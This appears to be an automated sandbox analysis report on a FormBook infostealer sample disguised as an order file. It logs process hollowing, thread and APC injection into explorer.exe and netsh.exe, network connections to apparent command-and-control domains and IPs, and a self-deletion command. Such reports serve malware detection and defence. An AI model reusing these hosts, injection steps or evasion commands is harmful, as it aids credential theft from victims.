Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D42D8A mov eax, dword ptr fs:[00000030h]	15_2_00D42D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D42D8A mov eax, dword ptr fs:[00000030h]	15_2_00D42D8A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D71DB5 mov eax, dword ptr fs:[00000030h]	15_2_00D71DB5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D71DB5 mov eax, dword ptr fs:[00000030h]	15_2_00D71DB5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D71DB5 mov eax, dword ptr fs:[00000030h]	15_2_00D71DB5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC51BE mov eax, dword ptr fs:[00000030h]	15_2_00DC51BE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC51BE mov eax, dword ptr fs:[00000030h]	15_2_00DC51BE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC51BE mov eax, dword ptr fs:[00000030h]	15_2_00DC51BE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC51BE mov eax, dword ptr fs:[00000030h]	15_2_00DC51BE
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D735A1 mov eax, dword ptr fs:[00000030h]	15_2_00D735A1
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D761A0 mov eax, dword ptr fs:[00000030h]	15_2_00D761A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D761A0 mov eax, dword ptr fs:[00000030h]	15_2_00D761A0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC69A6 mov eax, dword ptr fs:[00000030h]	15_2_00DC69A6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D67D50 mov eax, dword ptr fs:[00000030h]	15_2_00D67D50
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6B944 mov eax, dword ptr fs:[00000030h]	15_2_00D6B944
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6B944 mov eax, dword ptr fs:[00000030h]	15_2_00D6B944
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D83D43 mov eax, dword ptr fs:[00000030h]	15_2_00D83D43
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC3540 mov eax, dword ptr fs:[00000030h]	15_2_00DC3540
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6C577 mov eax, dword ptr fs:[00000030h]	15_2_00D6C577
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6C577 mov eax, dword ptr fs:[00000030h]	15_2_00D6C577
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4B171 mov eax, dword ptr fs:[00000030h]	15_2_00D4B171
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4B171 mov eax, dword ptr fs:[00000030h]	15_2_00D4B171
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4C962 mov eax, dword ptr fs:[00000030h]	15_2_00D4C962
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49100 mov eax, dword ptr fs:[00000030h]	15_2_00D49100
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49100 mov eax, dword ptr fs:[00000030h]	15_2_00D49100
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49100 mov eax, dword ptr fs:[00000030h]	15_2_00D49100
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E18D34 mov eax, dword ptr fs:[00000030h]	15_2_00E18D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D53D34 mov eax, dword ptr fs:[00000030h]	15_2_00D53D34
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4AD30 mov eax, dword ptr fs:[00000030h]	15_2_00D4AD30
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DCA537 mov eax, dword ptr fs:[00000030h]	15_2_00DCA537
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D74D3B mov eax, dword ptr fs:[00000030h]	15_2_00D74D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D74D3B mov eax, dword ptr fs:[00000030h]	15_2_00D74D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D74D3B mov eax, dword ptr fs:[00000030h]	15_2_00D74D3B
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7513A mov eax, dword ptr fs:[00000030h]	15_2_00D7513A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7513A mov eax, dword ptr fs:[00000030h]	15_2_00D7513A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D64120 mov eax, dword ptr fs:[00000030h]	15_2_00D64120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D64120 mov eax, dword ptr fs:[00000030h]	15_2_00D64120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D64120 mov eax, dword ptr fs:[00000030h]	15_2_00D64120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D64120 mov eax, dword ptr fs:[00000030h]	15_2_00D64120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D64120 mov ecx, dword ptr fs:[00000030h]	15_2_00D64120
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D736CC mov eax, dword ptr fs:[00000030h]	15_2_00D736CC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72ACB mov eax, dword ptr fs:[00000030h]	15_2_00D72ACB
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DFFEC0 mov eax, dword ptr fs:[00000030h]	15_2_00DFFEC0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D88EC7 mov eax, dword ptr fs:[00000030h]	15_2_00D88EC7
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72AE4 mov eax, dword ptr fs:[00000030h]	15_2_00D72AE4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D716E0 mov ecx, dword ptr fs:[00000030h]	15_2_00D716E0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E18ED6 mov eax, dword ptr fs:[00000030h]	15_2_00E18ED6
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D576E2 mov eax, dword ptr fs:[00000030h]	15_2_00D576E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7D294 mov eax, dword ptr fs:[00000030h]	15_2_00D7D294
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7D294 mov eax, dword ptr fs:[00000030h]	15_2_00D7D294
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E10EA5 mov eax, dword ptr fs:[00000030h]	15_2_00E10EA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E10EA5 mov eax, dword ptr fs:[00000030h]	15_2_00E10EA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E10EA5 mov eax, dword ptr fs:[00000030h]	15_2_00E10EA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDFE87 mov eax, dword ptr fs:[00000030h]	15_2_00DDFE87
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5AAB0 mov eax, dword ptr fs:[00000030h]	15_2_00D5AAB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5AAB0 mov eax, dword ptr fs:[00000030h]	15_2_00D5AAB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7FAB0 mov eax, dword ptr fs:[00000030h]	15_2_00D7FAB0
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D452A5 mov eax, dword ptr fs:[00000030h]	15_2_00D452A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D452A5 mov eax, dword ptr fs:[00000030h]	15_2_00D452A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D452A5 mov eax, dword ptr fs:[00000030h]	15_2_00D452A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D452A5 mov eax, dword ptr fs:[00000030h]	15_2_00D452A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D452A5 mov eax, dword ptr fs:[00000030h]	15_2_00D452A5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC46A7 mov eax, dword ptr fs:[00000030h]	15_2_00DC46A7
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E18A62 mov eax, dword ptr fs:[00000030h]	15_2_00E18A62
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DD4257 mov eax, dword ptr fs:[00000030h]	15_2_00DD4257
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49240 mov eax, dword ptr fs:[00000030h]	15_2_00D49240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49240 mov eax, dword ptr fs:[00000030h]	15_2_00D49240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49240 mov eax, dword ptr fs:[00000030h]	15_2_00D49240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D49240 mov eax, dword ptr fs:[00000030h]	15_2_00D49240
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D57E41 mov eax, dword ptr fs:[00000030h]	15_2_00D57E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D57E41 mov eax, dword ptr fs:[00000030h]	15_2_00D57E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D57E41 mov eax, dword ptr fs:[00000030h]	15_2_00D57E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D57E41 mov eax, dword ptr fs:[00000030h]	15_2_00D57E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D57E41 mov eax, dword ptr fs:[00000030h]	15_2_00D57E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D57E41 mov eax, dword ptr fs:[00000030h]	15_2_00D57E41
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D8927A mov eax, dword ptr fs:[00000030h]	15_2_00D8927A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6AE73 mov eax, dword ptr fs:[00000030h]	15_2_00D6AE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6AE73 mov eax, dword ptr fs:[00000030h]	15_2_00D6AE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6AE73 mov eax, dword ptr fs:[00000030h]	15_2_00D6AE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6AE73 mov eax, dword ptr fs:[00000030h]	15_2_00D6AE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6AE73 mov eax, dword ptr fs:[00000030h]	15_2_00D6AE73
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0EA55 mov eax, dword ptr fs:[00000030h]	15_2_00E0EA55
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5766D mov eax, dword ptr fs:[00000030h]	15_2_00D5766D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DFB260 mov eax, dword ptr fs:[00000030h]	15_2_00DFB260
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DFB260 mov eax, dword ptr fs:[00000030h]	15_2_00DFB260
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4AA16 mov eax, dword ptr fs:[00000030h]	15_2_00D4AA16
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4AA16 mov eax, dword ptr fs:[00000030h]	15_2_00D4AA16
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D45210 mov eax, dword ptr fs:[00000030h]	15_2_00D45210
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D45210 mov ecx, dword ptr fs:[00000030h]	15_2_00D45210
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D45210 mov eax, dword ptr fs:[00000030h]	15_2_00D45210
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D45210 mov eax, dword ptr fs:[00000030h]	15_2_00D45210
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D63A1C mov eax, dword ptr fs:[00000030h]	15_2_00D63A1C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7A61C mov eax, dword ptr fs:[00000030h]	15_2_00D7A61C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7A61C mov eax, dword ptr fs:[00000030h]	15_2_00D7A61C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4C600 mov eax, dword ptr fs:[00000030h]	15_2_00D4C600
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4C600 mov eax, dword ptr fs:[00000030h]	15_2_00D4C600
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4C600 mov eax, dword ptr fs:[00000030h]	15_2_00D4C600
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D78E00 mov eax, dword ptr fs:[00000030h]	15_2_00D78E00
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D58A0A mov eax, dword ptr fs:[00000030h]	15_2_00D58A0A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DFFE3F mov eax, dword ptr fs:[00000030h]	15_2_00DFFE3F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E01608 mov eax, dword ptr fs:[00000030h]	15_2_00E01608
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4E620 mov eax, dword ptr fs:[00000030h]	15_2_00D4E620
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D84A2C mov eax, dword ptr fs:[00000030h]	15_2_00D84A2C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D84A2C mov eax, dword ptr fs:[00000030h]	15_2_00D84A2C
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC53CA mov eax, dword ptr fs:[00000030h]	15_2_00DC53CA
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC53CA mov eax, dword ptr fs:[00000030h]	15_2_00DC53CA
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D837F5 mov eax, dword ptr fs:[00000030h]	15_2_00D837F5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D703E2 mov eax, dword ptr fs:[00000030h]	15_2_00D703E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D703E2 mov eax, dword ptr fs:[00000030h]	15_2_00D703E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D703E2 mov eax, dword ptr fs:[00000030h]	15_2_00D703E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D703E2 mov eax, dword ptr fs:[00000030h]	15_2_00D703E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D703E2 mov eax, dword ptr fs:[00000030h]	15_2_00D703E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D703E2 mov eax, dword ptr fs:[00000030h]	15_2_00D703E2
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6DBE9 mov eax, dword ptr fs:[00000030h]	15_2_00D6DBE9
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D72397 mov eax, dword ptr fs:[00000030h]	15_2_00D72397
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D58794 mov eax, dword ptr fs:[00000030h]	15_2_00D58794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E15BA5 mov eax, dword ptr fs:[00000030h]	15_2_00E15BA5
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7B390 mov eax, dword ptr fs:[00000030h]	15_2_00D7B390
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC7794 mov eax, dword ptr fs:[00000030h]	15_2_00DC7794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC7794 mov eax, dword ptr fs:[00000030h]	15_2_00DC7794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DC7794 mov eax, dword ptr fs:[00000030h]	15_2_00DC7794
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D51B8F mov eax, dword ptr fs:[00000030h]	15_2_00D51B8F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D51B8F mov eax, dword ptr fs:[00000030h]	15_2_00D51B8F
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DFD380 mov ecx, dword ptr fs:[00000030h]	15_2_00DFD380
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0138A mov eax, dword ptr fs:[00000030h]	15_2_00E0138A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D74BAD mov eax, dword ptr fs:[00000030h]	15_2_00D74BAD
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D74BAD mov eax, dword ptr fs:[00000030h]	15_2_00D74BAD
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D74BAD mov eax, dword ptr fs:[00000030h]	15_2_00D74BAD
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E18F6A mov eax, dword ptr fs:[00000030h]	15_2_00E18F6A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4F358 mov eax, dword ptr fs:[00000030h]	15_2_00D4F358
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4DB40 mov eax, dword ptr fs:[00000030h]	15_2_00D4DB40
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5EF40 mov eax, dword ptr fs:[00000030h]	15_2_00D5EF40
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D73B7A mov eax, dword ptr fs:[00000030h]	15_2_00D73B7A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D73B7A mov eax, dword ptr fs:[00000030h]	15_2_00D73B7A
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D4DB60 mov ecx, dword ptr fs:[00000030h]	15_2_00D4DB60
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D5FF60 mov eax, dword ptr fs:[00000030h]	15_2_00D5FF60
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E18B58 mov eax, dword ptr fs:[00000030h]	15_2_00E18B58
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D6F716 mov eax, dword ptr fs:[00000030h]	15_2_00D6F716
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDFF10 mov eax, dword ptr fs:[00000030h]	15_2_00DDFF10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00DDFF10 mov eax, dword ptr fs:[00000030h]	15_2_00DDFF10
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7A70E mov eax, dword ptr fs:[00000030h]	15_2_00D7A70E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7A70E mov eax, dword ptr fs:[00000030h]	15_2_00D7A70E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D7E730 mov eax, dword ptr fs:[00000030h]	15_2_00D7E730
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E1070D mov eax, dword ptr fs:[00000030h]	15_2_00E1070D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E1070D mov eax, dword ptr fs:[00000030h]	15_2_00E1070D
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D44F2E mov eax, dword ptr fs:[00000030h]	15_2_00D44F2E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00D44F2E mov eax, dword ptr fs:[00000030h]	15_2_00D44F2E
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 15_2_00E0131B mov eax, dword ptr fs:[00000030h]	15_2_00E0131B

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.chjcsc.com
Source: C:\Windows\explorer.exe	Network Connect: 172.255.115.89 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.socialdating24.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.theglasshousenyc.com

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Thread register set: target process: 3472	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Thread register set: target process: 3472	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Thread register set: target process: 3472	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Section unmapped: C:\Windows\SysWOW64\netsh.exe base address: 1280000

Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Process created: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe'	Jump to behavior

Source: explorer.exe, 00000005.00000002.504712950.0000000001640000.00000002.00000001.sdmp, netsh.exe, 0000000F.00000002.506939015.0000000004270000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000002.504712950.0000000001640000.00000002.00000001.sdmp, netsh.exe, 0000000F.00000002.506939015.0000000004270000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000002.504712950.0000000001640000.00000002.00000001.sdmp, netsh.exe, 0000000F.00000002.506939015.0000000004270000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000005.00000000.253495727.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000005.00000002.504712950.0000000001640000.00000002.00000001.sdmp, netsh.exe, 0000000F.00000002.506939015.0000000004270000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000005.00000002.504712950.0000000001640000.00000002.00000001.sdmp, netsh.exe, 0000000F.00000002.506939015.0000000004270000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Queries volume information: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NEW ORDER SOR 10531220.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305837682.0000000000B70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.501752912.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.305819661.0000000000B40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.NEW ORDER SOR 10531220.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000003.00000002.305618158.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.502736423.0000000000980000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.245056631.0000000003EE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.504085150.0000000000BD0000.00000004.00000001.sdmp, type: MEMORY
